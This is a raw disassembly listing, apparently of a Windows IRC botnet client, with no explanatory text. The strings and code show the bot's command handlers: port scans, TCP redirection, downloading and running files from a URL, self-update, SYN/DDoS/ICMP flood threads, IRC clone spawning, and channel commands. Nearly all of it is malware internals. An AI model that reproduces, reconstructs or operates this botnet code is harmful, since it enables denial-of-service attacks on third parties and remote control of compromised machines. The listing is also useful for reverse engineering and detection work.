loc_405C1B: ; CODE XREF: seg000:00405BC5j
mov [ebp-2F0h], ebx
loc_405C21: ; CODE XREF: seg000:00405B48j
; seg000:00405C19j
mov eax, [ebp+0Ch]
push dword ptr [ebp-8Ch]
mov [ebp-320h], eax
mov eax, [ebp-4]
mov [ebp-2F8h], eax
mov eax, [ebp-8]
mov [ebp-2F4h], eax
mov edi, 80h
lea eax, [ebp-420h]
push edi
push eax
call sub_41D360
mov esi, [ebp+esi-7Ch]
add esp, 0Ch
cmp esi, ebx
jz short loc_405C72
loc_405C5F: ; CODE XREF: seg000:00405C95j
push esi
loc_405C60: ; CODE XREF: seg000:00405C7Fj
lea eax, [ebp-3A0h]
push edi
push eax
call sub_41D360
add esp, 0Ch
jmp short loc_405C9D
; ---------------------------------------------------------------------------
loc_405C72: ; CODE XREF: seg000:00405C5Dj
mov eax, [ebp+20h]
cmp eax, ebx
jz short loc_405C81
cmp byte ptr [eax], 23h
jnz short loc_405C81
push eax
jmp short loc_405C60
; ---------------------------------------------------------------------------
loc_405C81: ; CODE XREF: seg000:00405C77j
; seg000:00405C7Cj
mov esi, offset a143 ; "#143"
push offset dword_4DF358
push esi
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_405C5F
mov [ebp-3A0h], bl
loc_405C9D: ; CODE XREF: seg000:00405C70j
cmp [ebp-2F0h], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_405CAF
mov eax, offset aSequential ; "Sequential"
loc_405CAF: ; CODE XREF: seg000:00405CA8j
push dword ptr [ebp-304h]
lea ecx, [ebp-430h]
push dword ptr [ebp-314h]
push dword ptr [ebp-318h]
push dword ptr [ebp-31Ch]
push ecx
push eax
lea eax, [ebp-2C8h]
push offset aScanSPortScanS ; "[SCAN]: %s Port Scan started on %s:%d w"...
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push 0Bh
push eax
call sub_408D3F
add esp, 2Ch
mov [ebp-310h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-430h]
push ebx
push eax
push offset sub_40A146
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-310h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_405D3D
loc_405D27: ; CODE XREF: seg000:00405D3Bj
cmp [ebp-2ECh], ebx
jnz loc_40547E
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_405D27
; ---------------------------------------------------------------------------
loc_405D3D: ; CODE XREF: seg000:00405D25j
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset aScanFailedTo_1 ; "[SCAN]: Failed to start scan thread, er"...
jmp loc_40546F
; ---------------------------------------------------------------------------
loc_405D4E: ; CODE XREF: seg000:00405155j
; seg000:0040516Cj
push edi
call sub_41D560
imul eax, 234h
pop ecx
cmp ds:byte_4523D0[eax], bl
jz loc_40845F
cmp [ebp-0Ch], ebx
jz loc_40845F
push dword ptr [ebp+20h]
call sub_41AC70
push edi
mov esi, eax
call sub_41AC70
push dword ptr [ebp+18h]
add esi, eax
call sub_41AC70
add eax, [ebp-0Ch]
push dword ptr [ebp+8]
lea eax, [eax+esi+2]
push eax
call sub_41DBE0
mov esi, eax
lea eax, [ebp-2C8h]
push esi
push offset dword_43F60C
push eax
call sub_41D260
add esp, 20h
cmp esi, ebx
jz loc_40845F
push edi
call sub_41D560
test eax, eax
pop ecx
jle loc_40845F
push edi
call sub_41D560
cmp eax, 400h
pop ecx
jge loc_40845F
push ebx
lea eax, [ebp-2C8h]
push ebx
push eax
push dword ptr [ebp+20h]
push edi
call sub_41D560
imul eax, 234h
pop ecx
push ds:dword_4523C4[eax]
call sub_40145D
push edi
call sub_41D560
imul eax, 234h
add esp, 18h
cmp byte ptr ds:dword_4521B8[eax], 73h
jnz loc_40845F
push esi
push edi
call sub_41D560
imul eax, 234h
pop ecx
add eax, offset byte_4523D0
push eax
push dword ptr [ebp+20h]
push offset dword_43F618
loc_405E36: ; CODE XREF: seg000:00405F33j
lea eax, [ebp-2C8h]
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
loc_405E5B: ; CODE XREF: seg000:00407CFDj
add esp, 28h
jmp loc_40845F
; ---------------------------------------------------------------------------
loc_405E63: ; CODE XREF: seg000:00405127j
; seg000:0040513Ej
push edi
call sub_41D560
imul eax, 234h
pop ecx
cmp ds:byte_4523D0[eax], bl
jz loc_40845F
cmp [ebp-0Ch], ebx
jz loc_40845F
push dword ptr [ebp+20h]
call sub_41AC70
push edi
mov esi, eax
call sub_41AC70
push dword ptr [ebp+18h]
add esi, eax
call sub_41AC70
add eax, [ebp-0Ch]
push dword ptr [ebp+8]
lea eax, [eax+esi+2]
push eax
call sub_41DBE0
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_40845F
push edi
call sub_41D560
test eax, eax
pop ecx
jle loc_40845F
push edi
call sub_41D560
cmp eax, 400h
pop ecx
jge loc_40845F
push ebx
push ebx
push esi
push dword ptr [ebp+20h]
push edi
call sub_41D560
imul eax, 234h
pop ecx
push ds:dword_4523C4[eax]
call sub_40145D
push edi
call sub_41D560
imul eax, 234h
add esp, 18h
cmp byte ptr ds:dword_4521B8[eax], 73h
jnz loc_40845F
push esi
push edi
call sub_41D560
imul eax, 234h
pop ecx
add eax, offset byte_4523D0
push eax
push dword ptr [ebp+20h]
push offset aSSS_0 ; "[%s] <%s> %s"
jmp loc_405E36
; ---------------------------------------------------------------------------
loc_405F38: ; CODE XREF: seg000:004050F9j
; seg000:00405110j
push edi
call ds:dword_451530
push dword ptr [ebp+20h]
mov [ebp-460h], eax
call sub_41D560
push dword ptr [ebp+8]
mov [ebp-470h], eax
call sub_41D560
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-8Ch]
mov [ebp-468h], eax
lea eax, [ebp-4F0h]
mov [ebp-4F4h], esi
push eax
call sub_41D800
add esp, 14h
mov edi, [ebp-4]
mov eax, [ebp-8]
mov [ebp-458h], edi
push dword ptr [ebp-468h]
mov [ebp-454h], eax
push dword ptr [ebp-470h]
push dword ptr [ebp-460h]
call ds:dword_45157C
push eax
lea eax, [ebp-2C8h]
push offset aScanPortScanSt ; "[SCAN]: Port scan started: %s:%d with d"...
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push 0Bh
push eax
call sub_408D3F
add esp, 20h
mov [ebp-464h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4F4h]
push ebx
push eax
push offset sub_40A472
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-464h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_40601A
loc_406004: ; CODE XREF: seg000:00406018j
cmp [ebp-450h], ebx
jnz loc_407B16
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_406004
; ---------------------------------------------------------------------------
loc_40601A: ; CODE XREF: seg000:00406002j
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset aScanFailedTo_2 ; "[SCAN]: Failed to start scan thread, er"...
jmp loc_407B07
; ---------------------------------------------------------------------------
loc_40602B: ; CODE XREF: seg000:004050CBj
; seg000:004050E2j
push edi
call sub_41D560
push 7Fh
mov [ebp-300h], eax
push dword ptr [ebp+20h]
lea eax, [ebp-404h]
push eax
call sub_41D800
push dword ptr [ebp+8]
call sub_41D560
push dword ptr [ebp-8Ch]
mov esi, [ebp+0Ch]
mov [ebp-304h], eax
lea eax, [ebp-384h]
push 80h
push eax
mov [ebp-40Ch], esi
call sub_41D360
mov eax, [ebp-8]
add esp, 20h
mov edi, [ebp-4]
mov [ebp-2F0h], eax
push dword ptr [ebp-304h]
lea eax, [ebp-404h]
mov [ebp-2F4h], edi
push eax
push dword ptr [ebp-300h]
push esi
call sub_402617
pop ecx
push eax
lea eax, [ebp-2C8h]
push offset aRedirectTcpRed ; "[REDIRECT]: TCP redirect created from: "...
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push 18h
push eax
call sub_408D3F
add esp, 24h
mov [ebp-2FCh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-40Ch]
push ebx
push eax
push offset sub_4116E4
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-2FCh]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_406114
loc_4060FE: ; CODE XREF: seg000:00406112j
cmp [ebp-2ECh], ebx
jnz loc_407B16
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_4060FE
; ---------------------------------------------------------------------------
loc_406114: ; CODE XREF: seg000:004060FCj
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset aRedirectFailed ; "[REDIRECT]: Failed to start redirection"...
jmp loc_407B07
; ---------------------------------------------------------------------------
loc_406125: ; CODE XREF: seg000:0040509Dj
; seg000:004050B4j
push 0FFh
lea eax, [ebp-788h]
push edi
push eax
call sub_41D800
push 0FFh
lea eax, [ebp-688h]
push dword ptr [ebp+20h]
push eax
call sub_41D800
push dword ptr [ebp+8]
mov [ebp-584h], ebx
call sub_41D560
mov [ebp-580h], eax
mov eax, [ebp+esi-84h]
add esp, 1Ch
cmp eax, ebx
jz short loc_406181
push 10h
push ebx
push eax
call sub_41E380
add esp, 0Ch
mov [ebp-578h], eax
jmp short loc_406187
; ---------------------------------------------------------------------------
loc_406181: ; CODE XREF: seg000:0040616Bj
mov [ebp-578h], ebx
loc_406187: ; CODE XREF: seg000:0040617Fj
mov esi, [ebp+esi-80h]
cmp esi, ebx
jz short loc_40619E
push esi
call sub_41D560
pop ecx
mov [ebp-57Ch], eax
jmp short loc_4061A4
; ---------------------------------------------------------------------------
loc_40619E: ; CODE XREF: seg000:0040618Dj
mov [ebp-57Ch], ebx
loc_4061A4: ; CODE XREF: seg000:0040619Cj
movzx eax, byte ptr [ebp-9AFh]
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-8Ch]
mov [ebp-574h], eax
lea eax, [ebp-808h]
mov [ebp-80Ch], esi
push eax
call sub_41D800
mov eax, [ebp-4]
push dword ptr [ebp+20h]
mov [ebp-56Ch], eax
mov eax, [ebp-8]
mov [ebp-570h], eax
push edi
lea eax, [ebp-2C8h]
push offset aDownloadDownlo ; "[DOWNLOAD]: Downloading URL: %s to: %s."...
push eax
call sub_41D260
push esi
lea eax, [ebp-2C8h]
push 1Dh
push eax
call sub_408D3F
add esp, 28h
mov [ebp-588h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-80Ch]
push ebx
push eax
push offset word_416486
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-588h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_406252
loc_40623C: ; CODE XREF: seg000:00406250j
cmp [ebp-568h], ebx
jnz loc_4058BD
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_40623C
; ---------------------------------------------------------------------------
loc_406252: ; CODE XREF: seg000:0040623Aj
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset aDownloadFailed ; "[DOWNLOAD]: Failed to start transfer th"...
jmp loc_406455
; ---------------------------------------------------------------------------
loc_406263: ; CODE XREF: seg000:0040506Fj
; seg000:00405086j
push 7Fh
lea eax, [ebp-774h]
pop esi
push esi
push edi
push eax
call sub_41D800
push esi
lea eax, [ebp-6F4h]
push dword ptr [ebp+20h]
push eax
call sub_41D800
push esi
lea eax, [ebp-674h]
push dword ptr [ebp+8]
push eax
call sub_41D800
push esi
lea eax, [ebp-5F4h]
push dword ptr [ebp-8Ch]
push eax
call sub_41D800
mov eax, [ebp-8]
push dword ptr [ebp+8]
mov esi, [ebp-4]
mov [ebp-56Ch], eax
mov eax, [ebp+0Ch]
push dword ptr [ebp+20h]
mov [ebp-778h], eax
lea eax, [ebp-2C8h]
push edi
push offset aSynFloodingSSF ; "[SYN]: Flooding: (%s:%s) for %s seconds"...
push eax
mov [ebp-570h], esi
call sub_41D260
add esp, 44h
lea eax, [ebp-2C8h]
push ebx
push 0Eh
push eax
call sub_408D3F
add esp, 0Ch
mov [ebp-574h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-778h]
push ebx
push eax
push offset byte_4147B7
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-574h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_406336
loc_406324: ; CODE XREF: seg000:00406334j
cmp [ebp-568h], ebx
jnz short loc_406351
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_406324
; ---------------------------------------------------------------------------
loc_406336: ; CODE XREF: seg000:00406322j
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2C8h]
push offset aSynFailedToSta ; "[SYN]: Failed to start flood thread, er"...
push eax
call sub_41D260
add esp, 0Ch
loc_406351: ; CODE XREF: seg000:0040632Aj
cmp [ebp-8], ebx
jnz loc_40549F
push ebx
push esi
jmp loc_405487
; ---------------------------------------------------------------------------
loc_406361: ; CODE XREF: seg000:0040502Aj
; seg000:00405041j ...
push 7Fh
lea eax, [ebp-7F0h]
pop esi
push esi
push edi
push eax
call sub_41D800
push esi
lea eax, [ebp-770h]
push dword ptr [ebp+20h]
push eax
call sub_41D800
push esi
lea eax, [ebp-6F0h]
push dword ptr [ebp+8]
push eax
call sub_41D800
push esi
lea eax, [ebp-670h]
push dword ptr [ebp-8Ch]
push eax
call sub_41D800
push 20h
lea eax, [ebp-5F0h]
push dword ptr [ebp+18h]
push eax
call sub_41D800
mov eax, [ebp-4]
push dword ptr [ebp+8]
mov esi, [ebp+0Ch]
mov [ebp-570h], eax
mov eax, [ebp-8]
push dword ptr [ebp+20h]
mov [ebp-56Ch], eax
lea eax, [ebp-2C8h]
push edi
push offset aDdosFloodingSS ; "[DDoS]: Flooding: (%s:%s) for %s second"...
push eax
mov [ebp-7F8h], esi
call sub_41D260
add esp, 50h
lea eax, [ebp-2C8h]
push ebx
push 0Dh
push eax
call sub_408D3F
add esp, 0Ch
mov [ebp-7F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-7F8h]
push ebx
push eax
push offset dword_413A44
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-7F4h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_406449
loc_406433: ; CODE XREF: seg000:00406447j
cmp [ebp-568h], ebx
jnz loc_4058BD
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_406433
; ---------------------------------------------------------------------------
loc_406449: ; CODE XREF: seg000:00406431j
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset aDdosFailedToSt ; "[DDoS]: Failed to start flood thread, e"...
loc_406455: ; CODE XREF: seg000:0040589Fj
; seg000:004059EAj ...
lea eax, [ebp-2C8h]
push eax
call sub_41D260
jmp loc_4058BA
; ---------------------------------------------------------------------------
loc_406466: ; CODE XREF: seg000:00404FFCj
; seg000:00405013j
push 7Fh
lea eax, [ebp-444h]
push edi
push eax
call sub_41D800
push dword ptr [ebp+20h]
call sub_41D560
push 3Fh
mov [ebp-2F4h], eax
push dword ptr [ebp+8]
lea eax, [ebp-3C4h]
push eax
call sub_41D800
mov esi, [ebp+esi-84h]
add esp, 1Ch
cmp esi, ebx
jz short loc_4064B4
push 3Fh
lea eax, [ebp-384h]
push esi
push eax
call sub_41D800
add esp, 0Ch
loc_4064B4: ; CODE XREF: seg000:004064A0j
lea eax, [ebp-3C4h]
mov dword ptr [ebp-2F0h], 1
push eax
lea eax, [ebp-444h]
push dword ptr [ebp-2F4h]
push eax
lea eax, [ebp-2C8h]
push offset aClonesCreatedO ; "[CLONES]: Created on %s:%d, in channel "...
push eax
call sub_41D260
push ebx
lea eax, [ebp-2C8h]
push 1Fh
push eax
call sub_408D3F
add esp, 20h
mov [ebp-2ECh], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-448h]
push ebx
push eax
push offset sub_402D46
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-2ECh]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_406540
loc_40652A: ; CODE XREF: seg000:0040653Ej
cmp [ebp-2E8h], ebx
jnz loc_4053E0
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_40652A
; ---------------------------------------------------------------------------
loc_406540: ; CODE XREF: seg000:00406528j
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset aClonesFailedTo ; "[CLONES]: Failed to start clone thread,"...
jmp loc_4053D1
; ---------------------------------------------------------------------------
loc_406551: ; CODE XREF: seg000:00404FBCj
; seg000:00404FD3j
push dword ptr [ebp+20h]
call sub_41D560
cmp eax, ebx
pop ecx
mov [ebp-578h], eax
jle loc_406642
mov esi, 80h
push edi
lea eax, [ebp-700h]
push esi
push eax
call sub_41D360
xor eax, eax
cmp [ebp-9A2h], bl
push dword ptr [ebp-8Ch]
setnz al
mov [ebp-574h], eax
mov eax, [ebp+0Ch]
mov [ebp-704h], eax
lea eax, [ebp-600h]
push esi
push eax
call sub_41D360
mov eax, [ebp-4]
push dword ptr [ebp+20h]
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
push edi
push offset aIcmpFloodingSF ; "[ICMP]: Flooding: (%s) for %s seconds."
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_41D360
push ebx
lea eax, [ebp-2C8h]
push 15h
push eax
call sub_408D3F
add esp, 38h
mov [ebp-580h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-704h]
push ebx
push eax
push offset byte_413E8B
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-580h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_406631
loc_40661B: ; CODE XREF: seg000:0040662Fj
cmp [ebp-568h], ebx
jnz loc_40547E
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_40661B
; ---------------------------------------------------------------------------
loc_406631: ; CODE XREF: seg000:00406619j
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset aIcmpFailedToSt ; "[ICMP]: Failed to start flood thread, e"...
jmp loc_40546F
; ---------------------------------------------------------------------------
loc_406642: ; CODE XREF: seg000:00406562j
push offset aIcmpInvalidFlo ; "[ICMP]: Invalid flood time must be grea"...
jmp loc_407C35
; ---------------------------------------------------------------------------
loc_40664C: ; CODE XREF: seg000:00404F8Ej
; seg000:00404FA5j
push dword ptr [ebp+20h]
push edi
call near ptr 3D0000h
push edi
test eax, eax
jz short loc_406679
push dword ptr [ebp+20h]
lea eax, [ebp-2C8h]
push edi
push offset aFileRenameSToS ; "[FILE]: Rename: '%s' to: '%s'."
push 200h
push eax
call sub_41D360
add esp, 14h
jmp short loc_406698
; ---------------------------------------------------------------------------
loc_406679: ; CODE XREF: seg000:00406658j
push offset aFile_1 ; "[FILE]:"
call loc_417935
push eax
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_41D360
add esp, 10h
loc_406698: ; CODE XREF: seg000:00404807j
; seg000:0040482Dj ...
cmp [ebp-8], ebx
jnz short loc_4066B9
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
add esp, 14h
loc_4066B9: ; CODE XREF: seg000:00404035j
; seg000:0040669Bj ...
push 1
pop esi
loc_4066BC: ; CODE XREF: seg000:00406916j
; seg000:004070A0j ...
lea eax, [ebp-2C8h]
push eax
call sub_4161A7
pop ecx
mov eax, esi
jmp loc_40349B
; ---------------------------------------------------------------------------
loc_4066D0: ; CODE XREF: seg000:00404F60j
; seg000:00404F77j
push 44h
lea eax, [ebp-48Ch]
pop esi
push esi
push ebx
push eax
call sub_41D100
push 1
mov [ebp-48Ch], esi
pop esi
mov [ebp-45Ch], bx
push edi
mov [ebp-460h], esi
call sub_41D560
add esp, 10h
cmp eax, esi
jnz short loc_40670D
mov word ptr [ebp-45Ch], 5
loc_40670D: ; CODE XREF: seg000:00406702j
cmp [ebp-0Ch], ebx
jz loc_4053E0
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_41DBE0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_4053E0
lea eax, [ebp-2D8h]
push eax
lea eax, [ebp-48Ch]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
call near ptr 3D0000h
pop esp
test eax, eax
jnz short loc_406758
push offset aExecCouldnTExe ; "[EXEC]: Couldn't execute file."
jmp loc_407156
; ---------------------------------------------------------------------------
loc_406758: ; CODE XREF: seg000:0040674Cj
push edi
push offset aExecCommandsS ; "[EXEC]: Commands: %s"
jmp loc_4053D1
; ---------------------------------------------------------------------------
loc_406763: ; CODE XREF: seg000:00404F32j
; seg000:00404F49j
push dword ptr [ebp+20h]
push offset aRbg78 ; "rbg78"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_4068DF
lea eax, [ebp-3E8h]
push eax
push 104h
call near ptr 3D0000h
lahf
push 0FFh
lea eax, [ebp-788h]
push edi
push eax
call sub_41D800
lea eax, [ebp-2E4h]
push eax
call sub_40871E
push eax
lea eax, [ebp-3E8h]
push eax
lea eax, [ebp-688h]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_41D260
mov eax, [ebp+esi-88h]
add esp, 20h
cmp eax, ebx
mov dword ptr [ebp-584h], 1
mov [ebp-580h], ebx
jz short loc_4067F5
push 10h
push ebx
push eax
call sub_41E380
add esp, 0Ch
mov [ebp-578h], eax
jmp short loc_4067FB
; ---------------------------------------------------------------------------
loc_4067F5: ; CODE XREF: seg000:004067DFj
mov [ebp-578h], ebx
loc_4067FB: ; CODE XREF: seg000:004067F3j
mov esi, [ebp+esi-84h]
cmp esi, ebx
jz short loc_406815
push esi
call sub_41D560
pop ecx
mov [ebp-57Ch], eax
jmp short loc_40681B
; ---------------------------------------------------------------------------
loc_406815: ; CODE XREF: seg000:00406804j
mov [ebp-57Ch], ebx
loc_40681B: ; CODE XREF: seg000:00406813j
movzx eax, byte ptr [ebp-9AFh]
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-8Ch]
mov [ebp-574h], eax
lea eax, [ebp-808h]
mov [ebp-80Ch], esi
push eax
call sub_41D800
mov eax, [ebp-4]
push edi
mov [ebp-56Ch], eax
mov eax, [ebp-8]
mov [ebp-570h], eax
lea eax, [ebp-2C8h]
push offset aUpdateDownload ; "[UPDATE]: Downloading update from: %s."
push eax
call sub_41D260
push esi
lea eax, [ebp-2C8h]
push 1Eh
push eax
call sub_408D3F
add esp, 24h
mov [ebp-588h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-80Ch]
push ebx
push eax
push offset word_416486
push ebx
push ebx
call ds:dword_4F131C ; CreateThread
mov ecx, [ebp-588h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4523CC[ecx], eax
jz short loc_4068C2
loc_4068B0: ; CODE XREF: seg000:004068C0j
cmp [ebp-568h], ebx
jnz short loc_4068F2
push 32h
call ds:dword_4F12F4 ; Sleep
jmp short loc_4068B0
; ---------------------------------------------------------------------------
loc_4068C2: ; CODE XREF: seg000:004068AEj
call ds:dword_4F1310 ; RtlGetLastWin32Error
push eax
push offset aUpdateFailedTo ; "[UPDATE]: Failed to start download thre"...
loc_4068CE: ; CODE XREF: seg000:00406F8Fj
; seg000:004070E4j ...
lea eax, [ebp-2C8h]
push eax
call sub_41D260
loc_4068DA: ; CODE XREF: seg000:00407BBBj
add esp, 0Ch
jmp short loc_4068F2
; ---------------------------------------------------------------------------
loc_4068DF: ; CODE XREF: seg000:00406774j
push offset aUpdateBotIdMus ; "[UPDATE]: Bot ID must be different than"...
loc_4068E4: ; CODE XREF: seg000:004049F9j
; seg000:00404A7Dj ...
lea eax, [ebp-2C8h]
push eax
call sub_41D260
pop ecx
pop ecx
loc_4068F2: ; CODE XREF: seg000:00404A01j
; seg000:00404A5Bj ...
cmp [ebp-8], ebx
jnz short loc_406913
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40145D
add esp, 14h
loc_406913: ; CODE XREF: seg000:004068F5j
; seg000:00406F84j ...
mov esi, [ebp+2Ch]
jmp loc_4066BC
; ---------------------------------------------------------------------------
loc_40691B: ; CODE XREF: seg000:00404F04j
; seg000:00404F1Bj
push dword ptr [ebp-90h]
push offset a332_0 ; "332"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_403498
cmp [ebp-0Ch], ebx
jz loc_403498
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_41DBE0
push eax
lea eax, [ebp-2C8h]
push dword ptr [ebp-8Ch]
push dword ptr [ebp-90h]
push dword ptr [ebp-94h]
push offset aSSSS ; "%s %s %s :%s"
push eax
call sub_41D260
lea eax, [ebp-2C8h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_41D800
push edi
call sub_41D560
add esp, 30h
test eax, eax
jle short loc_4069A2
push edi
call sub_41D560
imul eax, 3E8h
pop ecx
push eax
call ds:dword_4F12F4 ; Sleep
loc_4069A2: ; CODE XREF: seg000:0040698Cj
push offset aMainDelay_ ; "[MAIN]: Delay."
call sub_4161A7
mov eax, [ebp+2Ch]
pop ecx
inc eax
jmp loc_40349B
; ---------------------------------------------------------------------------
loc_4069B6: ; CODE XREF: seg000:00404ED6j
; seg000:00404EEDj
push dword ptr [ebp-90h]
push offset a332_1 ; "332"
call sub_41D900
pop ecx
test eax, eax
pop ecx
jz loc_403498
cmp [ebp-0Ch], ebx
jz loc_40845F
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_41DBE0
mov esi, eax
mov eax, [ebp+20h]
inc eax
push offset aRepeat_0 ; "repeat"
push eax
call sub_41D900
add esp, 10h
test eax, eax
push esi
jz short loc_406A72
push dword ptr [ebp-8Ch]
lea eax, [ebp-2C8h]
push dword ptr [ebp-90h]
push dword ptr [ebp-94h]
push offset aSSSS_0 ; "%s %s %s :%s"
push eax
call sub_41D260
lea eax, [ebp-2C8h]
push 1FFh
push eax
push dword ptr [ebp+8]
call sub_41D800
push esi
lea eax, [ebp-2C8h]
push offset aMainRepeatS ; "[MAIN]: Repeat: %s"
push eax
call sub_41D260
lea eax, [ebp-2C8h]
push eax
call sub_4161A7
push edi
call sub_41D560
add esp, 38h
test eax, eax
jle loc_40845F
push edi
call sub_41D560
add eax, [ebp+2Ch]
pop ecx
jmp loc_40349B
; ---------------------------------------------------------------------------
loc_406A72: ; CODE XREF: seg000:004069FBj
push offset aMainRepeatNotA ; "[MAIN]: Repeat not allowed in command l"...
jmp loc_4053D1
; ---------------------------------------------------------------------------
loc_406A7C: ; CODE XREF: seg000:00404EA8j
; seg000:00404EBFj
push dword ptr [ebp+20h]
lea eax, [ebp-2C8h]
push offset aPartS ; "PART %s"
push eax
call sub_41D260
push edi
call sub_41D560
add esp, 10h
test eax, eax
jle loc_40845F
push edi
call sub_41D560
cmp eax, 400h
pop ecx
jge loc_40845F
lea eax, [ebp-2C8h]
push eax
push offset aS_12 ; "%s\r\n"
loc_406ABF: ; CODE XREF: seg000:00406B29j
; seg000:0040721Fj
push edi
call sub_41D560
imul eax, 234h
pop ecx
push ds:dword_4523C4[eax]
call sub_401417
loc_406AD7: ; CODE XREF: seg000:004081EFj
add esp, 0Ch
jmp loc_40845F
; ---------------------------------------------------------------------------
loc_406ADF: ; CODE XREF: seg000:00404E7Aj
; seg000:00404E91j
push dword ptr [ebp+esi-88h]
lea eax, [ebp-2C8h]
push dword ptr [ebp+20h]
push offset aJoinSS_1 ; "JOIN %s %s"
push eax
call sub_41D260
push edi
call sub_41D560
add esp, 14h
test eax, eax
jle loc_40845F
push edi
call sub_41D560
cmp eax, 400h
pop ecx
jge loc_40845F
lea eax, [ebp-2C8h]
push eax
push offset aS_13 ; "%s\r\n"
jmp short loc_406ABF
; ---------------------------------------------------------------------------
loc_406B2B: ; CODE XREF: seg000:00404E4Cj
; seg000:00404E63j
push dword ptr [ebp+20h]
lea eax, [ebp-2C8h]
push offset aNickS ; "NICK %s"
push eax
call sub_41D260
push edi
call sub_41D560
add esp, 10h
test eax, eax
jle loc_40845F
push edi
call sub_41D560
cmp eax, 400h
pop ecx
jge loc_40845F
lea eax, [ebp-2C8h]
push eax
push offset aS_14 ; "%s\r\n"
push edi
call sub_41D560
imul eax, 234h
pop ecx
push ds:dword_4523C4[eax]
call sub_401417
push dword ptr [ebp+20h]
push edi
push offset aCloneNickSS ; "[CLONE]: Nick (%s): %s"
loc_406B8F: ; CODE XREF: seg000:00406C19j
; seg000:00406C84j ...
call sub_41621B
loc_406B94: ; CODE XREF: seg000:00407EBCj
add esp, 18h
jmp loc_40845F
; ---------------------------------------------------------------------------
loc_406B9C: ; CODE XREF: seg000:00404E1Ej
; seg000:00404E35j
cmp [ebp-0Ch], ebx
jz loc_40845F
push dword ptr [ebp+20h]
push dword ptr [ebp-0Ch]
call sub_41DBE0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_406BCD
push esi
lea eax, [ebp-2C8h]
push offset aModeS ; "MODE %s"
push eax
call sub_41D260
add esp, 0Ch
loc_406BCD: ; CODE XREF: seg000:00406BB6j
push edi
call sub_41D560
test eax, eax
pop ecx
jle loc_40845F
push edi
call sub_41D560
cmp eax, 400h
pop ecx
jge loc_40845F
